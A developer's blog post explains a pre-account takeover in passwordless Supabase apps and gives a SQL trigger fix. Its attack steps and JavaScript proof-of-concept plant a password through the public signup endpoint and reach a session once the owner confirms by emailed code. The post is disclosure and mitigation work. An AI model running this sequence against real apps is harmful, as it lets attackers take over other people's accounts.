# Supabase OTP-Only Apps Still Allow Password Sign Up

> An app with no password screen can still be hit by a pre-account takeover through Supabase's /auth/v1/signup endpoint.

- Author: Curtis Miller
- Published: 2026-11-06
- Categories: supabase, postgres, gotchas, security
- Canonical URL: https://millarian.com/posts/supabase-otp-pre-account-takeover/

Picture an app that signs people in only with emailed one-time codes. No password field anywhere, "Confirm email" turned on. An audit of an app like this turned up that anyone could still plant a password on someone else's email address through Supabase Auth, and use it after the real owner signed in. That's a pre-account takeover, and removing the password screen didn't prevent it.

## What happens

The app uses `signInWithOtp` followed by `verifyOtp` with type `"email"`. Nobody had tested whether an unconfirmed password sign up could pre-register an address, so I tested it. Here is the sequence, with only the publishable (anon) key:

1. The attacker POSTs `/auth/v1/signup` with the victim's address and a password of their choosing. Result: 200, and a user row exists, unconfirmed.
2. The attacker tries `/auth/v1/token?grant_type=password`. Result: 400 `email_not_confirmed`. That looks safe.
3. Later, the real owner signs in normally with an emailed code. That sets `email_confirmed_at`.
4. The attacker retries the password grant. Result: 200, a session in the owner's account.

Anyone who can guess an address that will sign up later (an invited colleague, a known customer) can do this in advance. The signup also sends a confirmation email to the victim, which they will probably ignore.

## Why removing the password screen doesn't remove password sign in

In Supabase Auth, the email provider covers both passwords and OTP codes. You can't switch off password sign up while keeping the email provider on. The UI you build decides what users see, but `/auth/v1/signup` is a public endpoint, and it accepts `{email, password}` whether or not any screen of yours sends it.

The OTP sign in then does exactly what it should: it confirms the address. The unconfirmed user row the attacker created is the same row the owner confirms, and it still carries the attacker's password hash.

Two obvious fixes didn't work for me. Disabling the email provider kills OTP too. The [Password Verification Attempt auth hook](https://supabase.com/docs/guides/auth/auth-hooks) could reject every password attempt, but as far as I could tell it's limited to higher plans. Turning off "Allow new users to sign up" blocks the password sign up, but it also stops OTP from creating new users, so it only works for invite-only apps.

## The fix: blank the password hash with a trigger

Supabase allows triggers on `auth.users`. An empty string in `encrypted_password` is what Supabase already stores for OTP-only users, and OTP sign in never reads that column. So I blank the hash on every insert or password change:

```sql
create function public.blank_password()
returns trigger
language plpgsql
security definer
set search_path = ''
as $$
begin
  if new.encrypted_password is distinct from '' then
    new.encrypted_password := '';
  end if;
  return new;
end;
$$;

revoke execute on function public.blank_password() from public, anon, authenticated;

create trigger no_passwords
  before insert or update of encrypted_password on auth.users
  for each row execute function public.blank_password();

-- one-time cleanup of hashes that already exist
update auth.users set encrypted_password = '' where encrypted_password <> '';
```

The function is `security definer` with an empty `search_path`, and nobody but the trigger can call it. A password can still be submitted, but it is thrown away before it is stored.

## Testing it against the real API

I ran the attack as a script before and after the fix. The signup sends a real email, so point it at a test address that accepts mail and throws it away (I use Resend's `delivered@resend.dev`). The secret key is only for getting the owner's code without reading an inbox, and for cleanup.

```javascript
const URL = process.env.SUPABASE_URL;
const ANON = process.env.SUPABASE_PUBLISHABLE_KEY;
const SECRET = process.env.SUPABASE_SECRET_KEY;
const email = "delivered+takeover-test@resend.dev";

const call = async (path, body, key = ANON, method = "POST") => {
  const res = await fetch(`${URL}/auth/v1/${path}`, {
    method,
    headers: { apikey: key, authorization: `Bearer ${key}`, "content-type": "application/json" },
    body: JSON.stringify(body),
  });
  return { status: res.status, body: await res.json() };
};

// 1. attacker plants a password
const signup = await call("signup", { email, password: "AttackerPass1" });
console.log("signup", signup.status);

// 2. owner signs in by code (admin API hands us the code)
const link = await call("admin/generate_link", { type: "magiclink", email }, SECRET);
const verify = await call("verify", { type: "email", email, token: link.body.email_otp });
console.log("owner otp", verify.status);

// 3. attacker tries the planted password
const grant = await call("token?grant_type=password", { email, password: "AttackerPass1" });
console.log("planted password", grant.status, grant.body.error_code);

// cleanup
await fetch(`${URL}/auth/v1/admin/users/${signup.body.id}`, {
  method: "DELETE",
  headers: { apikey: SECRET, authorization: `Bearer ${SECRET}` },
});
```

Before the trigger, the last call returned 200 with a session. After it: signup 200, owner OTP 200, planted password 400 `invalid_credentials`. I also checked the other route: a password set later through `PUT /auth/v1/user` from a signed-in session was refused at the password grant too (400).

## Takeaway

Taking a sign in method out of your UI doesn't take it out of the API. Test what the auth endpoint accepts, not what your screens offer. If your app is passwordless, assume someone will post a password to `/auth/v1/signup` and decide what happens when they do.

Two related notes. Keep "Confirm email" on, since other things depend on addresses being confirmed. Check that your dashboard settings match `supabase/config.toml`, since a `supabase config push` overwrites the dashboard. If you ever add passwords to the app, drop the `no_passwords` trigger first, or every password will be silently blanked.
